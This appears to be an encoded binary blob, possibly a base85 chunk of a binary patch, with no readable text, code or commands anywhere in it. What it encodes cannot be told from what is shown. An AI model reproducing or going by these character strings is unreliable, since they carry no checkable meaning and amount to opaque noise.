z4+4+b6Wi*=%um6}H6}0o?I=L^3O!7POE6`(v9$I|OT{&Zf-{o8V`|P^E#5w<*)Iqq zi1``dCgYdeU-0aO(of8{lLAA?I{n28<&!5{;nnIX0H@lz<;-eE6LKG^W!@3j_u0>R zwDYJhx#7HT1`;=kI&K(0*S?2pfB&Mz2G#D~d%4rG7o%0XrbXf`G<|0}3c*_R0Bef;Gj!EZif3mcB}%ZfCN-yFgiRHAc_uq%yv{KK>a-zM zsbiI@>!6qpY(l6hA~$guN>qDcO|kR*XSmCE1ZLEX-*0qOpKWE%R)c?{mjs;o+QQ#K zmAKY^Y~BRVicI$G!X_PEpxFESqq@Bt`-N}vC55L$h9E)%Os!nqvhbUifW3~}-EU9| zWJ%#}$H1yDVzNIE-~Bx1(x95@w6?NUYs>&PeKg{!w$Ee*-iVnk``csR*hRtbRg#XvQc)QL;F111OG>M|JE!d>Dhv6{eB_a zt6XeWVLn|7BriH?I=9oNc=vwF)x^r!rhHD0CsyNZYMzE+eW0gW@V!9O>zM$V(GComk`*@jXO ziJ|rtx}Cqk=G_iw|JBjCJ=+dm3Pd)}%G=#Gu|>E~qr2Nq7mN(Fy7{5$y!Tk5-^o>YmjJ!n zz*~Glpo(!p$sBMLWV9jI1w_%44Y;OhyHa_Qu_%|z&Y~wPDdT$1p!m#=X^k^ai#wcx zmh6S``+3Rx2+AqAS_pQdx_quu=F`1 z0FZ^C{vqoGFl%kcRNSsB!xEUyd@FX#K@pa`0%og&(edp>Bi-E`he=;8Z2RD{vtvv! zQJf#243swXWsZ@~546BR&OmI~#u7qkYErB&+3)=L0D@vofkg7`CyIY>zz?pM8H}F# zoMhWr3uCfW?+HL=GLa4L{ol^O$UiFRLSRmOg6Fla*$oSG@eryc&0**M?s(E&fIBRx z@ovk)WT9k|^V+f+rBN4Wcb_m34b~Q6#=OShmgAqa`#27XHQA%`yTj8!jA_q>Y^x>; zHo5tiWLW}ODi{iJE}ASMS{Fa@o^}s=CNrhPm}wXKhBR%zbZ#0XZhM(Hn}ybs(8<*_+D)}djupb^yEO3_Wni&0V6FF&@N z;;gy$NG&p-u~=+i@87qeBzcuJ|2or*3bLJ&C|nSwjS~&^Iz!`OsJNbEAV;^;NCG=o9UYsJ+Y1@Z zD|o13NAa(tla3PpDY@M$HpP670i9b*i4VP<6Y(GQWGr%dMu_|qiDV069nq&@@1*N2 z1+E}Y&dXFh%hKG<6Ir<-!y`s{tx8P5G#k%`3%*RA2DpurK+ZtJ>lFycHPMy)hFSK& z4NGkY0!ImALXh+x^W7%bs9ySZt(t=-%@l^+X`T8}+4!h7ZJ)AE9nKor+6_M8fO}5H zPH3{wcFHVt=z1K@-FFuGwOzgOn-czZdzZvQa&TlI+X&y>6a3b&Gv|Tku2y9ez+|U; zjybXAsC$l^%?JMCGGdd?qB8bE!ALcMge6=T=$!(kPb$36e;Xcg=7)b%;e|Mupl+Z* zrpvFELhaHiv}8uFFs0RAexliu=~WAvd6#`rQo~4b(OU9eHyas$clCsp#cP^4C8kAB zFqnW74U96)g<$|$Vzw!WTg+c!>9sc;{XDXI7ZAA)IZ~wyN#^I6K}aBbo|GWn2yeK| z_(^0kgZVXRbL;&+04b0`j=1&#>yTl2L51q%UQwVZkmt5A<8T?M^`+Gu_?a9T!z1}p zUb2w3RTQ)KIR*r@JXcus*rQ?b0C98HSbc^wfF}g+#3%{@_Z^^|cbadYu?9HM)mDa8 zD=DLY2I#kL#2dfoi*Q>}-^zRsrnq!vYC9NXyym2FL)V$$I5P3An31j^A%Ld<(l($f zGn|qg#C&dzWBG#wgsEQ2si%b<%FkEMKUD-)Px`;d#Vd=y+Qz+fKL$j{e$$r@KSGf+O~ynmX1-k;yFw{-uZA(E#?;=a;$q3 z)ECJTBX)E6NmJ1>+0_3cn(;)yM=<$8#N3qg^YZqqF5(uSLZHFlf*vG3;tQHE_R6~$+i{NoufV{ zn>RdLx7!9U3pz*|4#N z8IYOS+pAv}F_x@ah4`V;Y+xx(AXg2d^Wh!M@3v5x|Rv>v;Lug8o6ADEKO+PrbR(?`b z>Ek$0cpUm}z+jlFs}QQTuY2AN>0B zr>h${!tRwL<~}dGxg;7#hxZ|*z#$9^GBBIFP1ez}IqFtOZOih>YlR=~M;?33rcGk| zIp{gyZ9mazy-|%Cdji2%SU(y37ece`%Sq65d#&O6jPTKH@7YkN$=EBA({}}*$)CL| zp)Mv#@zB)?yN1;1rxjj+w@ZGQu$H5Cs}x>dmD}ipV4o6Ia6-sX(EFVM@hZSXGTFLh zR^CjO&&Fa0jeh;UB!Z7z+wK(rGvie#K!eh&hAdN22c&qiHDE!ycopI3+?ObO-aGcg zJNhrXy^|<$_J-wIGX;n>9Zgaax6R1al0Bk|B@~DlB2Pr#$9p*DWs+4o>vGr6Wjmkl zbd`zLY@I}g`bcbiShq9X+f7IW3EH6@btJN*UiuKP!K$WYZYJHVh1`(=-Ngz)bsvR^ z`zlHx(8Xji^jfVfqWVNi_vY<;XJm@~bZjkdwi=42@=97G@dGy-&x}LsHHcq|v3ipy zu0CQzxBh5?2}I*#1e?nR!K~?Ad0Yo7jz9TiS6<=tHX$Qm^S1(Rke8nYprL0CvtpSm z_y(|^U2t4|iyi#)ZzPE9wan*E3G%pRo4`ihpqIOr6f4%pvm%arUT4q-?gERg_p75K zlI0y!d#YdBS^ZqG4EO9N79u8D&nYfH#RfqU^2!ubDDL7Myu~MlSKFeI6ah9l8i>Pi zsCCi@;0xp@ZU+&v+c3W=m39q{JER$+>-UxIfLugzUDUP&w<9((J9E2=JN?mEfxr zNiFQ2m_HJ9PAZwiV`IBZ@q?(H*67rgctgc3kQ7s_8%Nm;Mo}{L^ zX9{EfZVcr8kBWe)r%(t3$Yq3Q;woEmCpi`@CX`v&{j>-z@uX-k1gM0R{3BztOK*iv z8MijI7U3|xtHgb_-3H691D|BQs}x(vnmw0DqXDQPBhrk#s|rn)pH<%UU4#H^IjIRm zpcJ_Ap-v`=>6Gr3v4KdJ9i3VK+ykd;1)}VC%$75vORfPh`Hgpqwnr~t1C(DR1_9T* zTdSQ%pHw}F!?>YgA7hdv(D8Hfq+4|3p|f-`?m|5blCw_>iLonO(V7hq{wqZI3qUk5dF0#>S^5^M8I!7{q6rITW`R+ z-m|$tL)19lLOoyP(3@`WOv(Kiv+h0ONNQWXh`26G7klOS{YUiI*~z%q*A+!E$O;a(MkVjzlvj7_x6idd@nVM!CupRv8ww1aUkm>HWdfoS;ZbBN% zTth*BbgW=LrJ?-pT*mMpQ}j=^J{x=E+vZ8HwOQ9hN>$~L>7Q5-N7+99nI&3HY_PKn zNEfO07*YIJiJ7g8&BT+Hzy>>M!HP+#uu-M$%6}Xy^aZFqMVF3jRDlIriy@16e;ZZ^ zJo{Y#&Be#UN`EyDgT}r1uXTC1Ir>zCsDS|5JCXCpeiofWf){A`U{J}5_fo}#I zGqXQYSgLN5!P2Q%vNkp5bC}>dPQ2PNrYfa}$E?9~w|5z<<;P*Mlurpp*?*Umf&b6# zDfc=Tc@GiXR;S85v!coGz8;MKt2^aYb14zzw^`%ljDa>ZS+|a&erUO3q-HS(Sb?01rE&G&e|s!WHG67N5_V1(>7>fF5Njp)ays(?e!a@W z7X5cDZRv)QUP#mS|GqPYeOtbgwc`;pnvQ~pF@uW;`2>R~VK*X2>u{Ld{ON1Mr+JlQ zPoFX4-Ve1T4;V4Xyl3<1`P1-FKjn*&2u|#G#4b2VmaqRZu6X^)ZLA-!xTp$Tm}%}3 z^6Ot6C$EjjU)Dr?%F24BWr=NdBo(Hr{`8=2GmqqJ$bXi8zpXEW#nK{4W@hZawuTgCVyDTeEAf3v>Bk1Y>4km>cpRRA zC7y(n!KHH8WAqah_wODMZw>5=lkdzJ$>b{|hSkb!BEm72r^_RTTtH!DHL%}{U18*M zHE&`*eyEXZk^;+N+b)9e3-HXDgOuC1AGOev%@rIJ2g!GG1g4__RQKOYlkDhF2Tmx z(r@s8nDN^~Zf;mhdbchXyw~DbtyA2S>&QN{2Fd-Y*Lc}$HM53P0vxOLNlj4tHO)_TD9U}`4S0 z6nOjE59r!`zbGgr-?v%#FBKWY3mZ@TStx-mVJK&hq8ObRxU2s$wtJ>2&d~gM&QI;% z#&$v0d8Xg5Mrk`cbp6NBY-iIjSAMG4_H!-cwzp16FCkl@mSS@cOo^AkS&$vp)9zAc z^`-8R&-4BT{U4rCFP?f5wrO*r4VS;`@0;5n-U$zROSA1aNr5e%kBE)9YP<}LMA#~b z)+Op7xf8`LQ!RWYcX!oNAvrrL@w#|`P9uxKVMAEw1uMSFw)NLXF18+tW6qrY(}I}E zYgL4wVBae02Ylwpj2R|=E}XFl-9P13vG9BbmcZD`8pV$IT3M-PQH@$C|M=$o+1h5* z57cQgk{6Ty5em7X<1d=g*FC$kMjtn(Wz0ZTOBu#g<19D_6;F*a3lu0(bED7)45qac zBNWirN`0q=a2WLSvy)X=N^D+s)9&?F5Se9b{V+dkafe4m46z_1!hoR>h3sS#i~_Dv zcy_1H7@DN zI?E|K^*vs8>X`1nI>?g9RoU3y#6&xX<*tFPGWQ(t6PoO36a|^+E<53(_7SOtv z%Z7h%J?@lo7WGXPWmFY`O8aNkG>mQz`5o?>b`hd7<+i#(|M!o;7M^cj&RvzTEGk(z zYQHX<`Rar9i@$^S^ux>Zwf?qQN-%;;hGv1VAW^;P_?}RtdFUfXeWpI<;jy<=qjEXP z^WHbN+L@^P7nPA$TlY2VAj3#uD|=zx7t&qV3%%F4p4@A=8^9k4s=-3~TV8%HdB(=H zbv31}*p2v+W*imRLwkOw5>3z@8)wfhAmtz9DR3$4MZ>E)6Th8OY~ZP1J}mJzg^!cf z9ce=s(t}ih3=eto&O2j*gF9nv1#)nmD|{D;*D$BZV|vXf z^u}TG?}732=B+&EX_qoF6N*{*ofrA)*KKdE({g?bM7=JRZ5MM`u%fRUk_UB|Ndzs& zI?l^(mEs{=g!q0aMa1`59VJ6=Ck8(6+GrTw+I@%5=d3rx$}Cdk1593Rw)G{_In1yIm*rM|;|n$6jEp zHA|({^T6QGsxG}=oF_=LS#P;Q?BRC>df_a*VTu$P_D@PqJ~ob=}B0DTB(4?4T9CfMqnvYzT(@NS%q@V9&UEh z8Q-Y#4+mQK-hrhYZLCS2A;zii%Tudt8xn?!Hv&w!o{frH1TgPLOt8Ee9+bMq z>&0zNY1#dVUYW*CTghrpEYmD=n&*Y_vP{~e$M2O8W&iZSpT3t^bv)WJLUy-jjTjzq ztXi+a@Ck$Ul%sZ@GCPDd>hS~S=kt+8s4&e^*Lt34`=Pz=`C7B~jkLXuG!DN^=uKa4bEBor9AWTK!d4a(xH^j7g+Y8>Ab8Ig!{J4 zye=Moq!DV6Fd#1EtVlJ{C77*Gk;*A+(PrJwz&(78HZ(5LH2m(HllB z;aOr5c+c=cFh`}reP#gbC6A`l56NV1a~6aEYivolI2vGLRP$-T6#cbjOO-5^60FSJ=!MB!Ve+9 zMg9VNoE|7YcW~uh!>H%lb1S;BJJW^_;X~fk(UHV{caH;CSnSKp0A=0&dmtk9qta5^ zNC@AM29FrebTkL($F9bax7}&R+0JSI1GKd++1tC)xvj3*=1C&(i9mnv<#iqS%bJ2nyEgFH4C0)plMFSfl%vQ%z$r zypXPi00PisUWsfWe_o-S8@sKR+vx&xCeH^ps-}P}C*vR_0A=HVb#1w_fue0y> zi2T_;m7mv`6}it)MQ_#+8d}7Mi7dZl7!zNe${{XO^V` zZKiN}vz>OuGt!T8^6Nx|5$7tNOr2puOlb$d3T_zmT1hVY%Ub22;B}$04l1lLgPS-< z68Z}eT;ZdIp^fg|7RBZ@Kgl#Ncf^11a*=8LXOPwsWuKX!_k0olw`-ASm-T_yCaJpC z1jCVp5WV|6`*bpjniC`HqQW*%zP{8;vM5%K1^4Ta)~lQN>QorcRseZqQfKAmhReu? zKF_V&u<;M~H$VYDG%>GVzhEkj@_CxV7;OAhde|-Y2Ru~Pw_eYV*D0=*|LW`lBwd>n zT-LTh_@CUPmy*$yKsn|p?(3Kp?y*y)mA=@AN>o*&-(iaGzy0Qgk3-KbN45$v?t>{Pz}-RHIRJ;VdvL`~Yg^p6B}X-nF_c8V!7z18>V<3MU_?#{NyT zE#+b>|3?Riu*oO?$s$syP}P$?3a(tSoGCm^{I#7}?NdGpHf?~SvbUCCj%=A1UvKc3C@8)mA2cx7y;@3O8ApSQ~bq>9jS3Jie!z{v# zHktfQ4;_3a|Kj29TQTG*dq^Ix2tE1y=^L`cO1{jrhp2`>t4)3yIc*h3WMzIXP*eeF z0epl{`&Yeq_lnDZ@@P1z5Ls}fqn3yezyv9V^|N2Thn@s{vX(PsNqHrTY5yq=@zd4R z>U2p}BPN?;f*(vAsr3GkAs;ER-z1ez%LuX_73fyg8hyks)D%e~-$^zG$IH3;{YMsV zi1C}Nw`XhrMbqv6r0KgSry{aTwiK9qehm1_4#wGtWv9dwsf)el3%ChVHe>EAGQ9xqBn7876agy<4p@^ zxYrum6~?ILUH41*e%vyq_|)Xk{$qVOS1j1s9&ny*P3J4|Xg6bo`l2DkQDYR@j_knn zUV05&EdJ#t?P)_mBZ(sl!q=&|@Ne_On^9>~bz+}7s3ThICz`IpRJifP5D05FeNfV= zy1fx?Ule)td);I}xW5jVPo0B(f4Vpt~!-XxtzrKK3 z8+;hqYTGhb@}#-9Ii=@UwB)68HbFg^o8* zv5MVM^vfDzW8A&|GCGua9YS|(*p5RAtdU>wz5JOVWD$G)jv8K}DnJ1yw0e-MG{5i* z8N%)RnkhONKO!{M3>hYH5_1FwMgm-|qXAOiM>mB41)$^CuQ)iWS{zEqi zREct4_QSN%BDw%jusb6+FQt?{N_!O$zQ?kQNU7%+7S+Xqcnru8e~{^s z*(vv2)Roz-N*dXISC)5vM%A?Wf?`*env!u|*K5J0I6TlgEsk+sI%0n-OHHaWED=fK z1+=(|242fnlvg}#z4o% z9<0G<7?G&r<4}?A;faST6Q9V z$G@I496w2Si{LEjnTkw)^tCe7h_=8)AT{!TvSFl~268&dCu1Gc$wiCBqE|n={7hAM zBdR>5vymo_{~v7_l~Vt) zVcev;?CbRr`(Nz61yohr`ZsKX3J53&k}92BxXv9wL#8RkN1Did(U~l@x9~w)*53!jLlqg&H0;8&1cT}>@oNK95?2Xm9q?Qy(Fzy zY1`@{U#&5)s^=uf2?vM|UhyT`gcWim9t8hzKQ`z`8mP?>?HcG=$g~MY(kMC47E=yn zgtVW3fJG~>x^GiAk-WQBD2o2{S)Cx;d>`qzpdLssH@T%sGoe_{(ufG1aF%kKKF#(x zf>_{>_mD*3GOh3mCQtw83>E3&f|a=0Mvdp2NdQuWV+XZCDptXSkrZynFIf(Dx9oQ} zDXQGC6Sr(HP1Awsf4KE|KoUYUN@vLzoiM`J#;1ruCvC6Jj;<{N**pBXI^)U-xhfTV zSGT9F%)ItU5>LDxa-JaBL^TKha6d+B-t2Wlf2pECDPj6jG3Nu_#>cR@eOx37_*Tsi zEI%h-4F2khtuug0hcz$o!`)yy*C4)0ajnKQUsu33vG!hl!0XLrS)08iA_=RR>8}pv z@Vb&f?xkCvc(V;9M&`(a$%GRT@*-9xe%UvGENTv3QCw0B2>Wh?5KkP3X|zV&iEMIrMGCgnRF~PCrwX5__9A(^MD1U#CxupH$qb_=dVQ+A`{Nth zqLrGW^EikpCd_=PDyE8_bd8XWTZB@%-cwBjA`30Aj;C6D@Mc^3e5qL2egj-0EX8G!7I>YohFT`Pc;$#WV& z2)8lX<9{dlqDtFIy&s0F*^1>KxfgTEfmBGYr_%+k9-=RiMli6lsbkCBw;Y0|!$TlK z<0#FuO@G``xU+*ouJ84$jMVa;OApHe$1Str$1NMDkEa?{RTTN%R^^UaRU1}(#k~G? zABcK|94RFwHr;uq!G{Qlc;a^v7X{=>2gaw*fu(Q>OFgADm+ZQ;HT@F9&)G_7h@Mj7 zhM-d5oygp*F?~^LHZ9{&Gj?C1ZbOG{Yfj~^wYJfT#dHZZtL0QG(uRiZQ}3skr~Xll zo35yGt`94xVaEAcZt$Z{@~{M(=KO3X+5)$;!%l)wZwg3j*0Q|D9Og3QF{k1Q*5tbA$*VH*0;fI~jHeRGx&EK6S0o&|f-aok`xqN`f@hlGUm=c`m;>zdY z-T;1cfZ@V|CYxZpc_3cm;%+WRK*T)*<64I4-x#@W#C-rsER>A!^6ukQdUICv;8IEe-gsAhofda zJ?9IkOVNqxHv?aMohgOapF1)9xQ+vB2iQ>paQ^F}+t zUu)Do9I8q__ddschUnrISb9uu71frGHdhmvSZGkkhpa#I4B){!W`wrN}0X8fCT&qDmTFk-h6nvKij4A zbbpt|9@<|_^E}18K8f?qGG#{6N++5VtUe=`H9^IErpAkZGo}&L!j=6f_#R)RjiZQo zR@HU&+Vt}b9XInXGIU_Ky!b-;DIOU(`Gn_naq=nmc26fcjjR-Hw0Z86w+GS`lX_s6 z4{`YffxXS7G8De8yNtfc3Xg)gRc~OjKDj<&Liw+S)oQ6`>hiCjvjix4pIrV=3ID3h z{*~}=4MQel%0q<#=bb0cW$8gt`P%B~y|Re(K;`>+n(|K{h@nGygtzeA3Ea6d<=;;|g0EB(b_`mpBHqG&WxY1+bmg27qD#h8!upVBX%TulF*hE?v= zv_z2Yz5y8Wrxn;BxqXW<_k{=|CT@0fN=8WfZIOIMAvIq=LsqLK({c8BCYbNl8baGo zogPr1aVm?(xc;Q|ZtozQ`~UAv_lKADAJhGDW;D(BEx^-*p~_^ zIKt?Sgm0pVzL&a1{OxO@SS|BqdLyIgZj!fO-(+cGHNZ}-JGZJr$6Z4+D-FgLHhP3M zmZ}Oy=cp&RpySqLR`M(A!YiLl`z{;hfg@|Y#!M4m+fCSvjBmdk^L=01Yae9MnK=K${z^kN zxNnQh-IYI{gB#~qh&v~!X)n$;QD-znMU6gi)OU+*Wdn`Rwdua`M5aS3ZhSR2O+jZ2 znS}S<={Kwo&qz<_&BnwMVa`S#0~mp0mOb-ceCp1U&rW_D>aw-}PTk@3RvinODe+GH zv=7)mVSg~Qxr3!d9=gPZgbD>*pwT#8BOiB2vkrTT|eVxmUL`kd*yhOr32NV zF(H*8)-6#Si>mHc-qTDpIQc57=g~Ea`;lv-Xx{4EH7K1;Gql9lG80vodXt5xMz)}` z!)mWjqkug~eP2VV^4kLTf=7XGBa&d}QJG$h^VEbefl*{*j_lnUH|dSUt|Q~1;leGx zV>F&R)H70P<5nvBm9e3{hd9TzIIFip+cxb=51aWb4pXy)_71F(S%`>%o;}lS50-mG zJr>|mS3Br!?N2WrJPDihBcTma%iDRWPX(>*hrWtNFCJNIyX#>gIErpxhi@r3O4qy| zW$fqA&|zn{*WB;oG~=$jC6K5S$I?Md0Iq!aa{T%HwnMr8^wJ9dOHMT)c_;?mGck04 zgqitvNX8IVJA@bH6HbIkY8-3b)7WKeIGC2NpYc<>xm!;O^h$&@;UxGb>6^U{hg&9f zIC%n@=y1~TMp-8oT3^z#(sxq18{%>}9iTKnumyj*4|sY*EDGetw_Q3sM|YIo+>v7) z_GXx@24BFy5miLx;|H5U>%9w8g_A7q*3DR1%~6jwQnOIq3AoW4ogQH z@w=!f%5^&1**tgdk<|-Z%EV#7Nw+Th(zq89H~WCnL_QRASP;OOn;na=N{&0-vCZ1C zl2zQrX7HM1cAemsvJco@qNBOD~am~HvET!@I(oNW;$HtcE z@tvAF&>0a+(HOUsoUML;&@nv@6??x>03U$47#6KfHd1ZtN3_Q{m_*gdc{C5@lc)HbxWgQ|3fET2No7a5Gc@%w!;QmUvp2x zC48q|4RTjfBeBpGO|tIp7C$FCoYcK>`k=NQ9%5PV(b3RC*^lAC{Rrq887(z|WZa<( zzXzmF@z`E`eyro}MqJ%-c$?rGhG~CRq7H9>)KB|!xv5&lR?=E26x+H1FE{PPO(`+@Ih9KYD9k15~UsOY+bJ1TAc)u|TeU@1?4Zku5h-MNk+Pwgl7U9d$;WYB@2h zB=vm?N*ByKQZ@7|BpU#Bh!h3XMwnfq|KXf-oW{CJoh$u!)Bxh(SoUGfFA3Vr$V!z_ z&5>CB{dFK_05wwJ)sT89JCLdTCbW6d$Kg?eH`%n0!}Q#gPchFPw0Y6mB7z;40|rdu z>avtNRF3dwI4zB~9Ht4$+V1AKsJW(WcRUDMh!CHxwDpSTQsu#~@Q4+tHx1o=<=Ei7 z*57L|5*KQV7i`N-+{#8Qx@{~Bd3)TadKkd%PDeB`Myp4NRR1(jiW&n>zUeA|TH%9P zV^hu9Mi*4!PjsYuotQ;zi2&$$(NYnhni0&sr%EmJ%0@?xpW&3V7tG#$y;j&9VT+8; zSBFN&e?~w74;vc&i?>@e^=2y}Rt75gAdJJxB7jk@Mq&jau8X`w?64&mRCJ?TLKPJf zXCYD%6{NJ}$3qvaLq8*8FNl`u(+C?Ni3eN!YfA#o(_Wo(dvzwhjdu&iz~ZOE-|y&; zCp`&y1u%oQ`xVE#iH8S^Cp+~eSuI2E{r4nK55lQusI4bdAhYQO4RU4s1p>+MH=xbw zowl$w8BrD+UlDot<-#fd=GE z)srt>OJeuh=cmH1y5EDDN|({GG^N8b+oG^U1U-2kB!X$8UAQ&y$vOmE)W-F`tbo+^ z!4Y0s<3x%0*hQQyEvGdih#Lz*Ei=!R_D?#;j#NlYOFkY%OE39*_3yET>+ozi7_S;= z?1vt$JL(K4#y>w~&vxF)v~YKJCKwtgKRkIIo$cy{sPC=~DfftXCo%c(o?Sl%H5`HJ zlS@j9m~zok^6Ii-9341hVw-5awX;9c=N3WOtF&6zZo7}nF?@GSg>D_$$}A2vr{3of z?w}iqXI2Wwb1l>UHkEB%tF~f__#u9VorAhuLi=bHQSdlYBA&-Rn|Ku52n`QfMDrK6 zkK=KVya`>DRF_>!39HoDUM|4w7HWKO)Q#1kLO>C2$BjKfpOW42v1P+XBda`J4rfCP zSGGEx1ww*PQvBr)uAD=tt?1QZHF&P<}+Z_3Ao`SEk|^vaB+tt$E%}KZgm$){jic%$?G>O@{9Z zmB>%2ZRTtmO+=CzZlx#=JTPj1yohdY!<(S0YOX>xM&oKn^>IZeMkczf;SJM5(*R|1 z*lOgOYs;bssjD4Rx2@iMy3Ek3^K2rI1#iwN?0)EyR)sjn+L(Bi9Tw!EJ*h~jwKrlw zE@<#Icc^KC6+;2BJWVo*sc5;VF_FpxH30fxSY+^qfUXl z5mE;MBku^Jc7jFI6-bC9VQx+{* zn4xTP)$;R_FTy45{z@O_zLpFl+J*bspbYC-WRM=p$|$q+P}8_Jucj60uPUWKy6-Br z3mdpSQEtE1A!pDWQm`N<{B5$;?bMNdF)cisMedoge582(z%?_YiknX6G_ha~b({mc zgmqdozE&Cbjm_My`%bPLG55-Zm&|MW>l5#KW(VVQ5Sy%IIF&PFzJWMq-K_0+Tf}WH z>Z9Nh5hQiSC|iI$~qylh#|BMY~?4HCm2tDcH{xpoCLr zYC{+KhR(p>yR65~192@TV(xj5>mH>G3JXR>${briBez>_B_>-03l2+pW%!rv;!@Vu zTGpa`IbLzpktc~7<;5*+{SFzbmDjZ@DUGz9*64=0ad~uh(r#}n&3pyjs#OdcjHnhC z8t7<3Cn{&w^2hO!R(@OXfR;-(QOV9exG`c-$+&@lEeQDwwRhay95pDZ*I$M~q@CP0 zR3I(YF30<0`i!6(L7mCiR(nRay2_*@8sI?)st=IPG-Y5f@XFPyt|RZ{v9-PSrqT8r zd{hi4k&!gRs!2N!s@s%?0y4Ij{D#)a&YYxH-$tx3X4Gk`t$LF<5O>uJN3;vO%+I;C z4g4Aw1{G1~hRT%bDz3`*lFv}W!~)#a#;l+55$3Rlfi}`RUEFGR>TY$Y&P1`22Kwks z!wFl0&Uzqs4LG@=)P9wA*Us=3b0)=sdT&8Cr(cm%M*)1uQnUH_I$VVq|Ah1R)4az#1Vg}26~%?a4g(H$>k0L?o&ik+ zWm6Dn;K5WQ#Ct}uGI*pDhuj`F=@{ODc8L+YUU<52hZkujaEs2q**$){J)1g@nx|R^ z5?$QHI-_i0kmLUG+l)VVBP&={g>$?V)XKTjGlt6%&vK%}=W+;RKG8B^V>bW?bt$oV zsb#bGEWL0gY#U5_za@B#?p{ZDM&jH~Sm(?5?eUdd8-f_P$#McZTH0oSc9s~Ft#<*g zgJwJiso?)4sN@T%?jz6}L*Y4XAcEuEg5^JNxy zKdIzZkBtxKIspSnZRnnlC^J?Nh?%Sn%fJUjU{MWZV}~FRjTnW|EbTvZ^Cq13IwPb# zsCv;jafIe!1NRKHAT>>?geQ;u2oLdQj&qY8jxFr3z&1ba)b{v+_Bd@4??+gW={iGO zG=6a(&2JVz>k!O=?p%^*ytnUC2)H(c16V;kq-!pPhck2wK}Z7#kS1Ts&|2Ner@e?6F{->M&A*BC9bm|j91+FRy6U|aP^ z)v3d#6YxielLlg(q***jJxWJQe>TY~?SW~XYcq))7N5L|kGKI>}GJ(}L5-dT1b$1k0hbFthV)aWF3p>sP1 zO%yCG(u!5nHJI_3l?_|bj?H!tQ@298KNgL%i@Sj7q6>SUG0!fhk%jeNR%#RvTc-Qq z%#gc8>sTV%-AywQS)eQS@r{`c%(xX}WH7C$v){Hzt$**}icBLSC4$CQ z>+9ao0`>s+5s9c|=ib4xW6p_NqwJUR#UsILM>0BXFgbLUoo~NqpaK@m-eQ*-y;ETElym7BHRi)X29WnoW+_hMKz=AKYRV6~lab^awRV6{kG08HiRRx_I+|OD;Qb*zA*t93@ zB!)XHdw;f|qh1N8AuVK$Ue_8YA5z!}F@Jq0gHljJD^o=;>rmB4ct8QsQdu=_PAhI$ zD9-#Q&x4V#krOs+{tw1+u)xyTIZky66=T;5Xj4s0tm?eYD;^7E)sZvVDy{0ZVq2#% zg2D#O58_w!D-wLaxNONXMHi56`oE`|uF_nk>v~6h@D4wX{B4PgLpAf;)H#;@A?hWY z)?r&waJRm*zr;Zfo7b3Fg9sz$8hW6}jj>if=Ax6hMkJzzjyUCwnPKTQ`@&N;;_HS5 zCUcSTtp=wBoLMl*=;JrApia8%(;?2PAk-6Zha}WxN)$eBL_yq@r(F}(728P@S>^7Q z%TG@ksN}s*$V@VrBoYf+>XpzM(pvgDscolnkZU9LR#YNNEf{Jol0)p$+KNTzl!lYn zKwBX_{3fQy(mfa^vHc+Dae)@gSgLk#X);9+WYtUGlxv5rp|7A=x3|EQM1Mq7O1psv z9O}ADJK`9Y79LrvEV1hPX?u8muZ8erZk;nCvOuZD4`^*=Az4Y~YPI+Fhem(16g22d z3CCHm3cD#d+uC_4aamn`au1lxDY|8gnje%!?djVb+&|?GepUDC{V(pGO9kj6bD zM$WlsVI)>WX&}oy=hy{eu>D*;A%7uxzDe@Ax(krQvmT^0v`Y=zI6NZc96T}2r9C{6 zlt?UH!^{{sUZk1eaGB?+o#|Ncn=iGFn-R9}Wn1quQbNn_^Qd4(R%Fq>)?Siw6{}d( z5zV^H&ru$`K=qbVj+xrg8uka=tTy)TQrV}gxe#(4LAPDy08Na%?%s%owdC6zcN~Nw zmfU*4B_iQmZrL5(%7&tJ#5MLU8^doEe3Vs~NQa#YN0Nw8unGwzT`IYEvYcP{&%BRG z>pSr&<|N`<&C4lIgbtf!3NCQvlPLRh3ug-&d!M>(euZk8V9qXywrF;ctXeW>pB|+S zLk1tant#j|c9U$)DZZ|jA731U5;~6HtZ(7Pl~dTPe%ecNYClvUjyt=ff1q1Ywa(j_ zRn)}NzITMOy`-!}HRiUm#)Ph-=lD9W(avY!;nc9%C)(J+;$RO^tr3y&Lt5?`i>=_Ts55*4Rd5@~?cvW$;vX*W(FO+g+ zdvlxY=v(_`dK6Cwgc>J(95Yl27cdg-7fr}2F6zo?#4#HgSRZCIqZnDE&n{^#=%RIu zh4c%ITxE)dW8F|ICnZ@7w0eq*i6PGY1YJbwjjlhwi}=}sH8 zHU^c|8Q}m>bhg)_ALdvV&g&0bQHXd0(T$}F*jPDmdAZ^Ph-!jqQi7ButsWN}eij*i zHskt!&(ndsz++rX?-KY|gfoni6EF%BIMK4mM%0W{tunXTJ+jCEv2)6gclzL7w97OU zy40BXiOeI7%(cs@dr4&G^-An5RY^eFARoh=o^qAFh13BRMN$PUR7)>9O`)!KQxx55b4Z1yU zwX>!rj1P4B+b5dunnymoJDPf=Ii$O8b<;%HrqJXInF&3En3O0%Fv{+?IG>5s3jHMc;NpcZcp1 z(z7kZM=v6iW$h`yOzZS{tY+~3+mJXZgQCdsD0;hHtYo7Sc}jwe-`lo`NKK9+?08(E zjjp(1uF-O+?Z#XTkFNI8;?Qy1M|~xVS=f?C8E&p*6_Gh@`0>7%`G5=qpWD;Z!QIbm zY_OS>rL`r4n&Xq#r<<{wYP+uXBij|~r=J^(VY9G`&Qoaz{0X~43zhn2_gZW6=smjNf{{QR$ zvk1&=o=S;cy@mk*aO09(4555Joi)X&M8ky^Y?X78K9j$Hj%w+X!Y>dne ztmO=?^sEiRrn)4Ik`{VaS~f;tb1hR^Jv$o*;1I*@%e>eKlX-YgQqh&;`EE3#p==dc zdYTbue+Vmm({d9d@ZGngpmE&xy!fczam<+Q9#WOWSnbZt%b ztVkHewT#Sd^vt!)b@aZ&NN0RS8sqvm7GtW?7w@tr>G@YOpP0V&u9c(JjF?6s9^xJD zO{31gQSgfO?)?ycDntxUM1qoo)9Q&6X?8+Tx6*MqsaKny@Q3?d!YA=%0z<`SIqD`f z*MVkt;3V%%i5B}W+n-wVs;e3H7L<%ex>xE!3NOPu_x%d`B;N)-GFa8#?giJ;rEc|c zwL6UOx><9TZu$LK?xOsEpz9+9KZDsZE9r6>6?p2O2lG!nIp%1AVS5j8b3#m?H0X>7Q~)_T>f28@uEe;G?GV_V79P|lPk>EUAicUN25vn$3nPh+@zHH!z8RDV3JT#= zuFLky(>Ba_S1ErSs&X*Pm{^QVHTZ%7^SS%;rHw{_-H%jRFbOi8J=U_qT4?hW+)6k>eOKfQ$N%KC}8 